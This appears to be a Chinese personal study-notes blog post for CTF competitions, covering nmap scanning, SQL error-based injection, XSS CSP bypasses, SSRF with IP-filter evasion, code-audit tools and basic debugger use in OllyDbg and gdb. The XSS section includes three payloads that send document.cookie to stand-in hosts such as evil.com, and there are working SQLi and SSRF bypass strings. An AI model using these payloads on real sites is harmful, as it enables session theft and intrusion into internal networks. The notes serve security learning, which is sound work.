zoukankan      html  css  js  c++  java
  • ctf学习

    CTF学习

    Web

    nmap

    nmap常用的扫描命令是:

    nmap -sS -sV-p- 192.168.1.1
    或
    nmap -v -T4 -A 192.168.1.1/24
    

    Sql注入

    利用报错注入:
    updatexml:爆破数据库版本Payload:

    ?id=1'+updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)%23
    

    常见的注入点位置:

    1. GET参数:最容易发现
    2. POST:通过抓包来发现,Burp或浏览器插件Hackbar发POST包
    3. User-Agent:Burp的Repeater模块或Sqlmap
    4. Cookies:Burp的Repeater模块或Sqlmap
      注入的检测;
    5. 插入单引号
    6. 数字型判断
    7. 通过数字的加减判断

    XSS跨站脚本攻击

    反射型、存储型、DOM型

    绕过CSP

    大部分网站跳转还是要依赖前端来进行,所以在CSP中无法对location.href做出限制,一次可以衍生出大量的绕过方式:

    // bypass 1
    <script>location='http://eval.com/cookie.php?cookie='+escape(document.cookie);</script>
    // bypass 2
    <script>
    var a=document.createElement("a");
    a.href='http://evil.com/cookie.php?cookie='+escape(document.cookie);
    document.body.appendChild(a);
    a.click();
    </script>
    // bypass 3
    <meta http-equic="refresh" content="1;url=http://evil.com/cookie.php?data=[cookie]"
    

    研究XSS的开源漏洞利用平台:
    https://github.com/beefproject/beef/

    服务器请求伪造(SSRF)

    示例:

    ssrf.php:
    <?php
          $url = $_GET['url'];
          echo file_get_contents($url);
    ?>
    

    当请求:

    http://example.com/ssrf.php?url=http://192.168.252.1:8000/
    

    就能够获取到服务器/目录的文件
    绕过正则:

    http://example.com@evil.com
    

    绕过内网IP地址过滤:

    127.0.0.1的替代写法:
    八进制:0177.00.00.01
    十进制:2130706433
    十六进制:0x7f.0x0.0x0.0x1
    省略写法: 127.1
    

    或配置域名:

    evil.example.com=>10.0.18.3
    

    特性利用

    • PHP语言特性
    • Windows系统特性

    代码审计

    源码泄露

    • 常见备份文件
    • Github
    • svn
    • 利用漏洞泄露

    代码审计

    工具
    收费:RIPS,价格不菲,也有开源版,但是有缺点
    免费:Seay源代码审计系统,自动审计的过程主要是根据各种正则表达式匹配结果是否存在漏洞
    其他:安全狗、D盾、护卫神等Webshell工具扫描

    逆向工程

    逆向工程是我比较喜欢的方向,之前也做过一些研究,这次学习就细心点吧。

    Ollydbg

    断点

    分类:

    • 一般断点:
      int3指令
      F2键快速下断点
      也可以使用命令行:bp xxxxxx或者bp MessageBoxA
    • 内存断点:
      内存访问和内存写入,OD每一时刻只允许一个内存断点
    • 硬件断点:
      硬件访问、硬件写入、硬件执行,最多设置4个硬件断点

    快捷键

    • F9:运行程序
    • F7:单步跟踪(进入),一条条执行,遇到call会进入执行
    • F8:但不跟踪(步过),遇到call不会进入
    • F4:执行到所选代码
    • Alt+F9:执行到程序领空,主要用于在dll或其他调用库时快速回到主程序领空

    gdb

    在Linux下调试程序必备,默认情况下,Linux都会自动安装,如果没有,手动安装:

    sudo apt-get install gdb
    sudo apt-get install gdb-multiarch
    

    插件:peda、gef、pwndbg,都可以在github上面找到

    IDA Pro

    暂时先写到这,工作考研,我哭了-_-

  • 相关阅读:
    Java设计模式之责任链模式
    多线程几个常用方法的实例
    Activiti工作流
    Java线程常用方法汇总
    Java线程的几个概念
    多线程——实现Callable接口
    java对象在JVM堆中的数据结构
    对计算机世界的认知
    wait、notify为什么要放在同步代码块中
    java synchronized关键字的底层实现
  • 原文地址:https://www.cnblogs.com/qjx-2016/p/13647138.html
Copyright © 2011-2022 走看看